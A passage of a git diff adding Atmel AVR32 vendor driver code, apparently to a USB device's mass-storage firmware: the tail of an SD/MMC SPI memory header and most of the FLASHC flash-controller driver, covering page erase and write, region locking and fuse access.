ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _SD_MMC_SPI_MEM_H_ +#define _SD_MMC_SPI_MEM_H_ + +/** + * \defgroup group_avr32_components_memory_sd_mmc_sd_mmc_spi_mem SD/MMC SPI Memory + * + * \ingroup group_avr32_components_memory_sd_mmc_sd_mmc_spi + * + * \{ + */ + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error sd_mmc_spi_mem.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#define SD_MMC_REMOVED 0 +#define SD_MMC_INSERTED 1 +#define SD_MMC_REMOVING 2 + + +//---- CONTROL FONCTIONS ---- +//! +//! @brief This function initializes the hw/sw resources required to drive the SD_MMC_SPI. +//!/ +extern void sd_mmc_spi_mem_init(void); + +//! +//! @brief This function tests the state of the SD_MMC memory and sends it to the Host. +//! For a PC, this device is seen as a removable media +//! Before indicating any modification of the status of the media (GOOD->NO_PRESENT or vice-versa), +//! the function must return the BUSY data to make the PC accepting the change +//! +//! @return Ctrl_status +//! Media is ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//! Media has changed -> CTRL_BUSY +//!/ +extern Ctrl_status sd_mmc_spi_test_unit_ready(void); + +//! +//! @brief This function gives the address of the last valid sector. +//! +//! @param *nb_sector number of sector (sector = 512B). OUT +//! +//! @return Ctrl_status +//! Media ready -> CTRL_GOOD +//! Media not present -> CTRL_NO_PRESENT +//!/ +extern Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector); + +//! +//! @brief This function returns the write protected status of the memory. +//! +//! Only used by memory removal with a HARDWARE SPECIFIC write protected detection +//! ! The user must unplug the memory to change this write protected status, +//! which cannot be for a SD_MMC. +//! +//! @return false -> the memory is not write-protected (always) +//!/ +extern bool sd_mmc_spi_wr_protect(void); + +//! +//! @brief This function tells if the memory has been removed or not. +//! +//! @return false -> The memory isn't removed +//! +extern bool sd_mmc_spi_removal(void); + + +//---- ACCESS DATA FONCTIONS ---- + +#if ACCESS_USB == true +// Standard functions for open in read/write mode the device + +//! +//! @brief This function performs a read operation of n sectors from a given address on. +//! (sector = 512B) +//! +//! DATA FLOW is: SD_MMC => USB +//! +//! @param addr Sector address to start the read from +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! A error occur -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_read_10(uint32_t addr, uint16_t nb_sector); + +//! This fonction initialises the SD/MMC memory for a write operation +//! +//! DATA FLOW is: USB => SD_MMC +//! +//! (sector = 512B) +//! @param addr Sector address to start write +//! @param nb_sector Number of sectors to transfer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector); + +#endif // #if ACCESS_USB == true + +#if ACCESS_MEM_TO_RAM == true +// Standard functions for read/write 1 sector to 1 sector ram buffer + + +//! This fonction reads 1 sector from SD/MMC to internal ram buffer +//! +//! DATA FLOW is: SD/MMC => RAM +//! +//! (sector = 512B) +//! @param addr Sector address to read +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram); + +//! This fonction initialises the memory for a write operation +//! from ram buffer to SD/MMC (1 sector) +//! +//! DATA FLOW is: RAM => SD/MMC +//! +//! (sector = 512B) +//! @param addr Sector address to write +//! @param ram Ram buffer pointer +//! +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +extern Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram); + +#endif // end #if ACCESS_MEM_TO_RAM == true + +/** + * \} + */ + +#endif // _SD_MMC_SPI_MEM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/flashc/flashc.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/flashc/flashc.c new file mode 100755 index 0000000..477d9a3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/avr32/drivers/flashc/flashc.c @@ -0,0 +1,977 @@ +/** + * \file + * + * \brief FLASHC driver for AVR32 UC3. + * + * Copyright (c) 2009-2011 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + + +#include +#include +#include "compiler.h" +#include "flashc.h" + + +/*! \name FLASHC Writable Bit-Field Registers + */ +//! @{ + +typedef union { + unsigned long fcr; + avr32_flashc_fcr_t FCR; +} u_avr32_flashc_fcr_t; + +typedef union { + unsigned long fcmd; + avr32_flashc_fcmd_t FCMD; +} u_avr32_flashc_fcmd_t; + +//! @} + + +/*! \name Flash Properties + */ +//! @{ + + +unsigned int flashc_get_flash_size(void) +{ +#if (AVR32_FLASHC_H_VERSION >= 300) + const uint16_t FLASH_SIZE[] = { + 4, + 8, + 16, + 32, + 48, + 64, + 96, + 128, + 192, + 256, + 384, + 512, + 768, + 1024, + 2048, + }; + return ((unsigned int)FLASH_SIZE[(AVR32_FLASHC.pr & AVR32_FLASHC_PR_FSZ_MASK) + >> AVR32_FLASHC_PR_FSZ_OFFSET])<<10; + +#else // in older flashc version, FSZ is located in FSR register + const uint16_t FLASH_SIZE[] = { + 32, + 64, + 128, + 256, + 384, + 512, + 768, + 1024, + }; + return ((unsigned int)FLASH_SIZE[(AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FSZ_MASK) + >> AVR32_FLASHC_FSR_FSZ_OFFSET]) << 10; +#endif +} + + +unsigned int flashc_get_page_count(void) +{ + return flashc_get_flash_size() / AVR32_FLASHC_PAGE_SIZE; +} + + +unsigned int flashc_get_page_count_per_region(void) +{ + return flashc_get_page_count() / AVR32_FLASHC_REGIONS; +} + + +unsigned int flashc_get_page_region(int page_number) +{ + return ((page_number >= 0) ? page_number + : flashc_get_page_number()) / flashc_get_page_count_per_region(); +} + + +unsigned int flashc_get_region_first_page_number(unsigned int region) +{ + return region * flashc_get_page_count_per_region(); +} + + +//! @} + + +/*! \name FLASHC Control + */ +//! @{ + + +unsigned int flashc_get_wait_state(void) +{ + return (AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FWS_MASK) >> AVR32_FLASHC_FCR_FWS_OFFSET; +} + + +void flashc_set_wait_state(unsigned int wait_state) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.fws = wait_state; + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +void flashc_set_bus_freq(unsigned int cpu_f_hz) +{ + if (cpu_f_hz >= AVR32_FLASHC_FWS_0_MAX_FREQ) { + // Set 1 WS. + flashc_set_wait_state(1); + } else { + // Set 0 WS. + flashc_set_wait_state(0); + } +} + +bool flashc_is_ready_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_FRDY_MASK) != 0); +} + + +void flashc_enable_ready_int(bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.frdy = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +bool flashc_is_lock_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_LOCKE_MASK) != 0); +} + + +void flashc_enable_lock_error_int(bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.locke = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +bool flashc_is_prog_error_int_enabled(void) +{ + return ((AVR32_FLASHC.fcr & AVR32_FLASHC_FCR_PROGE_MASK) != 0); +} + + +void flashc_enable_prog_error_int(bool enable) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; + u_avr32_flashc_fcr.FCR.proge = (enable != false); + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +} + + +//! @} + + +/*! \name FLASHC Status + */ +//! @{ + + +bool flashc_is_ready(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_FRDY_MASK) != 0); +} + + +void flashc_default_wait_until_ready(void) +{ + while (!flashc_is_ready()); +} + + +void (*volatile flashc_wait_until_ready)(void) = flashc_default_wait_until_ready; + + +/*! \brief Gets the error status of the FLASHC. + * + * \return The error status of the FLASHC built up from + * \c AVR32_FLASHC_FSR_LOCKE_MASK and \c AVR32_FLASHC_FSR_PROGE_MASK. + * + * \warning This hardware error status is cleared by all functions reading the + * Flash Status Register (FSR). This function is therefore not part of + * the driver's API which instead presents \ref flashc_is_lock_error + * and \ref flashc_is_programming_error. + */ +static unsigned int flashc_get_error_status(void) +{ + return AVR32_FLASHC.fsr & (AVR32_FLASHC_FSR_LOCKE_MASK | + AVR32_FLASHC_FSR_PROGE_MASK); +} + + +//! Sticky error status of the FLASHC. +//! This variable is updated by functions that issue FLASHC commands. It +//! contains the cumulated FLASHC error status of all the FLASHC commands issued +//! by a function. +static unsigned int flashc_error_status = 0; + + +bool flashc_is_lock_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_LOCKE_MASK) != 0); +} + + +bool flashc_is_programming_error(void) +{ + return ((flashc_error_status & AVR32_FLASHC_FSR_PROGE_MASK) != 0); +} + + +//! @} + + +/*! \name FLASHC Command Control + */ +//! @{ + + +unsigned int flashc_get_command(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_CMD_MASK) >> AVR32_FLASHC_FCMD_CMD_OFFSET; +} + + +unsigned int flashc_get_page_number(void) +{ + return (AVR32_FLASHC.fcmd & AVR32_FLASHC_FCMD_PAGEN_MASK) >> AVR32_FLASHC_FCMD_PAGEN_OFFSET; +} + + +void flashc_issue_command(unsigned int command, int page_number) +{ + u_avr32_flashc_fcmd_t u_avr32_flashc_fcmd; + + flashc_wait_until_ready(); + u_avr32_flashc_fcmd.fcmd = AVR32_FLASHC.fcmd; + u_avr32_flashc_fcmd.FCMD.cmd = command; + if (page_number >= 0) { + u_avr32_flashc_fcmd.FCMD.pagen = page_number; + } + u_avr32_flashc_fcmd.FCMD.key = AVR32_FLASHC_FCMD_KEY_KEY; + AVR32_FLASHC.fcmd = u_avr32_flashc_fcmd.fcmd; + flashc_error_status = flashc_get_error_status(); + flashc_wait_until_ready(); +} + + +//! @} + + +/*! \name FLASHC Global Commands + */ +//! @{ + + +void flashc_no_operation(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_NOP, -1); +} + + +void flashc_erase_all(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EA, -1); +} + + +//! @} + + +/*! \name FLASHC Protection Mechanisms + */ +//! @{ + + +bool flashc_is_security_bit_active(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_SECURITY_MASK) != 0); +} + + +void flashc_activate_security_bit(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_SSB, -1); +} + + +unsigned int flashc_get_bootloader_protected_size(void) +{ + unsigned int bootprot = (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + flashc_read_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE); + return (bootprot) ? AVR32_FLASHC_PAGE_SIZE << bootprot : 0; +} + + +unsigned int flashc_set_bootloader_protected_size(unsigned int bootprot_size) +{ + flashc_set_gp_fuse_bitfield(AVR32_FLASHC_FGPFRLO_BOOTPROT_OFFSET, + AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE, + (1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1 - + ((bootprot_size) ? + 32 - clz((((min(max(bootprot_size, AVR32_FLASHC_PAGE_SIZE << 1), + AVR32_FLASHC_PAGE_SIZE << + ((1 << AVR32_FLASHC_FGPFRLO_BOOTPROT_SIZE) - 1)) + + AVR32_FLASHC_PAGE_SIZE - 1) / + AVR32_FLASHC_PAGE_SIZE) << 1) - 1) - 1 : + 0)); + return flashc_get_bootloader_protected_size(); +} + + +bool flashc_is_external_privileged_fetch_locked(void) +{ + return (!flashc_read_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET)); +} + + +void flashc_lock_external_privileged_fetch(bool lock) +{ + flashc_set_gp_fuse_bit(AVR32_FLASHC_FGPFRLO_EPFL_OFFSET, !lock); +} + + +bool flashc_is_page_region_locked(int page_number) +{ + return flashc_is_region_locked(flashc_get_page_region(page_number)); +} + + +bool flashc_is_region_locked(unsigned int region) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_LOCK0_MASK << (region & (AVR32_FLASHC_REGIONS - 1))) != 0); +} + + +void flashc_lock_page_region(int page_number, bool lock) +{ + flashc_issue_command((lock) ? AVR32_FLASHC_FCMD_CMD_LP : AVR32_FLASHC_FCMD_CMD_UP, page_number); +} + + +void flashc_lock_region(unsigned int region, bool lock) +{ + flashc_lock_page_region(flashc_get_region_first_page_number(region), lock); +} + + +void flashc_lock_all_regions(bool lock) +{ + unsigned int error_status = 0; + unsigned int region = AVR32_FLASHC_REGIONS; + + while (region) { + flashc_lock_region(--region, lock); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; +} + + +//! @} + + +/*! \name Access to General-Purpose Fuses + */ +//! @{ + + +bool flashc_read_gp_fuse_bit(unsigned int gp_fuse_bit) +{ + return ((flashc_read_all_gp_fuses() & 1ULL << (gp_fuse_bit & 0x3F)) != 0); +} + + +uint64_t flashc_read_gp_fuse_bitfield(unsigned int pos, unsigned int width) +{ + return flashc_read_all_gp_fuses() >> (pos & 0x3F) & ((1ULL << min(width, 64)) - 1); +} + + +uint8_t flashc_read_gp_fuse_byte(unsigned int gp_fuse_byte) +{ + return flashc_read_all_gp_fuses() >> ((gp_fuse_byte & 0x07) << 3); +} + + +uint64_t flashc_read_all_gp_fuses(void) +{ + return AVR32_FLASHC.fgpfrlo | (uint64_t)AVR32_FLASHC.fgpfrhi << 32; +} + + +bool flashc_erase_gp_fuse_bit(unsigned int gp_fuse_bit, bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EGPB, gp_fuse_bit & 0x3F); + return (check) ? flashc_read_gp_fuse_bit(gp_fuse_bit) : true; +} + + +bool flashc_erase_gp_fuse_bitfield(unsigned int pos, unsigned int width, bool check) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + + pos &= 0x3F; + width = min(width, 64); + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++) { + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_bitfield(pos, width) == (1ULL << width) - 1) : true; +} + + +bool flashc_erase_gp_fuse_byte(unsigned int gp_fuse_byte, bool check) +{ + unsigned int error_status; + unsigned int current_gp_fuse_byte; + + uint64_t value = flashc_read_all_gp_fuses(); + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + + for (current_gp_fuse_byte = 0; current_gp_fuse_byte < 8; current_gp_fuse_byte++, value >>= 8) { + if (current_gp_fuse_byte != gp_fuse_byte) { + flashc_write_gp_fuse_byte(current_gp_fuse_byte, value); + error_status |= flashc_error_status; + } + } + flashc_error_status = error_status; + return (check) ? (flashc_read_gp_fuse_byte(gp_fuse_byte) == 0xFF) : true; +} + + +bool flashc_erase_all_gp_fuses(bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EAGPF, -1); + return (check) ? (flashc_read_all_gp_fuses() == 0xFFFFFFFFFFFFFFFFULL) : true; +} + + +void flashc_write_gp_fuse_bit(unsigned int gp_fuse_bit, bool value) +{ + if (!value) { + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WGPB, gp_fuse_bit & 0x3F); + } +} + + +void flashc_write_gp_fuse_bitfield(unsigned int pos, unsigned int width, uint64_t value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + + pos &= 0x3F; + width = min(width, 64); + + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) { + flashc_write_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + + flashc_error_status = error_status; +} + + +void flashc_write_gp_fuse_byte(unsigned int gp_fuse_byte, uint8_t value) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_PGPFB, (gp_fuse_byte & 0x07) | value << 3); +} + + +void flashc_write_all_gp_fuses(uint64_t value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_byte; + + for (gp_fuse_byte = 0; gp_fuse_byte < 8; gp_fuse_byte++, value >>= 8) { + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + error_status |= flashc_error_status; + } + + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_bit(unsigned int gp_fuse_bit, bool value) +{ + if (value) { + flashc_erase_gp_fuse_bit(gp_fuse_bit, false); + } else { + flashc_write_gp_fuse_bit(gp_fuse_bit, false); + } +} + + +void flashc_set_gp_fuse_bitfield(unsigned int pos, unsigned int width, uint64_t value) +{ + unsigned int error_status = 0; + unsigned int gp_fuse_bit; + + pos &= 0x3F; + width = min(width, 64); + + for (gp_fuse_bit = pos; gp_fuse_bit < pos + width; gp_fuse_bit++, value >>= 1) { + flashc_set_gp_fuse_bit(gp_fuse_bit, value & 0x01); + error_status |= flashc_error_status; + } + + flashc_error_status = error_status; +} + + +void flashc_set_gp_fuse_byte(unsigned int gp_fuse_byte, uint8_t value) +{ + unsigned int error_status; + + switch (value) { + case 0xFF: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + break; + + case 0x00: + flashc_write_gp_fuse_byte(gp_fuse_byte, 0x00); + break; + + default: + flashc_erase_gp_fuse_byte(gp_fuse_byte, false); + error_status = flashc_error_status; + flashc_write_gp_fuse_byte(gp_fuse_byte, value); + flashc_error_status |= error_status; + break; + } +} + + +void flashc_set_all_gp_fuses(uint64_t value) +{ + unsigned int error_status; + + switch (value) { + case 0xFFFFFFFFFFFFFFFFULL: + flashc_erase_all_gp_fuses(false); + break; + + case 0x0000000000000000ULL: + flashc_write_all_gp_fuses(0x0000000000000000ULL); + break; + + default: + flashc_erase_all_gp_fuses(false); + error_status = flashc_error_status; + flashc_write_all_gp_fuses(value); + flashc_error_status |= error_status; + break; + } +} + + +//! @} + + +/*! \name Access to Flash Pages + */ +//! @{ + + +void flashc_clear_page_buffer(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_CPB, -1); +} + + +bool flashc_is_page_erased(void) +{ + return ((AVR32_FLASHC.fsr & AVR32_FLASHC_FSR_QPRR_MASK) != 0); +} + + +bool flashc_quick_page_read(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPR, page_number); + return flashc_is_page_erased(); +} + + +bool flashc_erase_page(int page_number, bool check) +{ + bool page_erased = true; + + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EP, page_number); + if (check) { + unsigned int error_status = flashc_error_status; + page_erased = flashc_quick_page_read(-1); + flashc_error_status |= error_status; + } + return page_erased; +} + + +bool flashc_erase_all_pages(bool check) +{ + bool all_pages_erased = true; + unsigned int error_status = 0; + unsigned int page_number = flashc_get_page_count(); + + while (page_number) { + all_pages_erased &= flashc_erase_page(--page_number, check); + error_status |= flashc_error_status; + } + flashc_error_status = error_status; + return all_pages_erased; +} + + +void flashc_write_page(int page_number) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WP, page_number); +} + + +bool flashc_quick_user_page_read(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_QPRUP, -1); + return flashc_is_page_erased(); +} + + +bool flashc_erase_user_page(bool check) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_EUP, -1); + return (check) ? flashc_quick_user_page_read() : true; +} + + +void flashc_write_user_page(void) +{ + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_WUP, -1); +} + + +volatile void *flashc_memset8(volatile void *dst, uint8_t src, size_t nbytes, bool erase) +{ + return flashc_memset16(dst, src | (uint16_t)src << 8, nbytes, erase); +} + + +volatile void *flashc_memset16(volatile void *dst, uint16_t src, size_t nbytes, bool erase) +{ + return flashc_memset32(dst, src | (uint32_t)src << 16, nbytes, erase); +} + + +volatile void *flashc_memset32(volatile void *dst, uint32_t src, size_t nbytes, bool erase) +{ + return flashc_memset64(dst, src | (uint64_t)src << 32, nbytes, erase); +} + + +volatile void *flashc_memset64(volatile void *dst, uint64_t src, size_t nbytes, bool erase) +{ + // Use aggregated pointers to have several alignments available for a same address. + UnionCVPtr flash_array_end; + UnionVPtr dest; + Union64 source = {0}; + StructCVPtr dest_end; + UnionCVPtr flash_page_source_end; + bool incomplete_flash_page_end; + Union64 flash_dword; + UnionVPtr tmp; + unsigned int error_status = 0; + unsigned int i; + + // Reformat arguments. + flash_array_end.u8ptr = AVR32_FLASH + flashc_get_flash_size(); + dest.u8ptr = dst; + for (i = (Get_align((uint32_t)dest.u8ptr, sizeof(uint64_t)) - 1) & (sizeof(uint64_t) - 1); + src; i = (i - 1) & (sizeof(uint64_t) - 1)) { + source.u8[i] = src; + src >>= 8; + } + dest_end.u8ptr = dest.u8ptr + nbytes; + + // If destination is outside flash, go to next flash page if any. + if (dest.u8ptr < AVR32_FLASH) { + dest.u8ptr = AVR32_FLASH; + } else if (flash_array_end.u8ptr <= dest.u8ptr && dest.u8ptr < AVR32_FLASHC_USER_PAGE) { + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + + // If end of destination is outside flash, move it to the end of the previous flash page if any. + if (dest_end.u8ptr > AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE) { + dest_end.u8ptr = AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE; + } else if (AVR32_FLASHC_USER_PAGE >= dest_end.u8ptr && dest_end.u8ptr > flash_array_end.u8ptr) { + dest_end.u8ptr = flash_array_end.u8ptr; + } + + // Align each end of destination pointer with its natural boundary. + dest_end.u16ptr = (uint16_t *)Align_down((uint32_t)dest_end.u8ptr, sizeof(uint16_t)); + dest_end.u32ptr = (uint32_t *)Align_down((uint32_t)dest_end.u16ptr, sizeof(uint32_t)); + dest_end.u64ptr = (uint64_t *)Align_down((uint32_t)dest_end.u32ptr, sizeof(uint64_t)); + + // While end of destination is not reached... + while (dest.u8ptr < dest_end.u8ptr) { + // Clear the page buffer in order to prepare data for a flash page write. + flashc_clear_page_buffer(); + error_status |= flashc_error_status; + + // Determine where the source data will end in the current flash page. + flash_page_source_end.u64ptr = + (uint64_t *)min((uint32_t)dest_end.u64ptr, + Align_down((uint32_t)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) + AVR32_FLASHC_PAGE_SIZE); + + // Determine if the current destination page has an incomplete end. + incomplete_flash_page_end = (Align_down((uint32_t)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE) >= + Align_down((uint32_t)dest_end.u8ptr, AVR32_FLASHC_PAGE_SIZE)); + + // Use a flash double-word buffer to manage unaligned accesses. + flash_dword.u64 = source.u64; + + // If destination does not point to the beginning of the current flash page... + if (!Test_align((uint32_t)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE)) { + // Fill the beginning of the page buffer with the current flash page data. + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + for (tmp.u8ptr = (uint8_t *)Align_down((uint32_t)dest.u8ptr, AVR32_FLASHC_PAGE_SIZE); + tmp.u64ptr < (uint64_t *)Align_down((uint32_t)dest.u8ptr, sizeof(uint64_t)); + tmp.u64ptr++) { + *tmp.u64ptr = *tmp.u64ptr; + } + + // If destination is not 64-bit aligned... + if (!Test_align((uint32_t)dest.u8ptr, sizeof(uint64_t))) { + // Fill the beginning of the flash double-word buffer with the current + // flash page data. + // This is required by the hardware, even if page erase is not + // requested, in order to be able to write successfully to erased parts + // of flash pages that have already been written to. + for (i = 0; i < Get_align((uint32_t)dest.u8ptr, sizeof(uint64_t)); i++) { + flash_dword.u8[i] = *tmp.u8ptr++; + } + + // Align the destination pointer with its 64-bit boundary. + dest.u64ptr = (uint64_t *)Align_down((uint32_t)dest.u8ptr, sizeof(uint64_t)); + + // If the current destination double-word is not the last one... + if (dest.u64ptr < dest_end.u64ptr) { + // Write the flash double-word buffer to the page buffer and reinitialize it. + *dest.u64ptr++ = flash_dword.u64; + flash_dword.u64 = source.u64; + } + } + } + + // Write the source data to the page buffer with 64-bit alignment. + for (i = flash_page_source_end.u64ptr - dest.u64ptr; i; i--) { + *dest.u64ptr++ = source.u64; + } + + // If the current destination page has an incomplete end... + if (incomplete_flash_page_end) { + // This is required by the hardware, even if page erase is not requested, + // in order to be able to write successfully to erased parts of flash + // pages that have already been written to. + { + tmp.u8ptr = (volatile uint8_t *)dest_end.u8ptr; + + // If end of destination is not 64-bit aligned... + if (!Test_align((uint32_t)dest_end.u8ptr, sizeof(uint64_t))) { + // Fill the end of the flash double-word buffer with the current flash page data. + for (i = Get_align((uint32_t)dest_end.u8ptr, sizeof(uint64_t)); i < sizeof(uint64_t); i++) + flash_dword.u8[i] = *tmp.u8ptr++; + + // Write the flash double-word buffer to the page buffer. + *dest.u64ptr++ = flash_dword.u64; + } + + // Fill the end of the page buffer with the current flash page data. + for (; !Test_align((uint32_t)tmp.u64ptr, AVR32_FLASHC_PAGE_SIZE); tmp.u64ptr++) { + *tmp.u64ptr = *tmp.u64ptr; + } + } + } + + // If the current flash page is in the flash array... + if (dest.u8ptr <= AVR32_FLASHC_USER_PAGE) { + // Erase the current page if requested and write it from the page buffer. + if (erase) { + flashc_erase_page(-1, false); + error_status |= flashc_error_status; + } + flashc_write_page(-1); + error_status |= flashc_error_status; + + // If the end of the flash array is reached, go to the User page. + if (dest.u8ptr >= flash_array_end.u8ptr) { + dest.u8ptr = AVR32_FLASHC_USER_PAGE; + } + } else { + // Erase the User page if requested and write it from the page buffer. + if (erase) { + flashc_erase_user_page(false); + error_status |= flashc_error_status; + } + flashc_write_user_page(); + error_status |= flashc_error_status; + } + } + + // Update the FLASHC error status. + flashc_error_status = error_status; + + // Return the initial destination pointer as the standard memset function does. + return dst; +} + + +volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, bool erase) +{ + uint16_t page_pos; + Union64 flash_dword; + uint8_t i; + bool b_user_page; + unsigned int error_status = 0; + uint8_t* flash_add; + uint8_t* dest_add=(uint8_t*)dst; + const uint8_t* src_buf=(const uint8_t*)src; + + // Copy area must be in flash array or flash user page + Assert( (((uint8_t *)dst >= AVR32_FLASH) + && (((uint8_t *)dst + nbytes) <= (AVR32_FLASH + flashc_get_flash_size()))) + || (((uint8_t *)dst >= AVR32_FLASHC_USER_PAGE) + && (((uint8_t *)dst + nbytes) <= (AVR32_FLASHC_USER_PAGE + AVR32_FLASHC_USER_PAGE_SIZE))) ); + + b_user_page = (volatile uint8_t *)dst >= AVR32_FLASHC_USER_PAGE; + + flash_add = (uint8_t*)((uint32_t)dest_add - ((uint32_t)dest_add % AVR32_FLASHC_PAGE_SIZE)); + + while (nbytes) { + // Clear 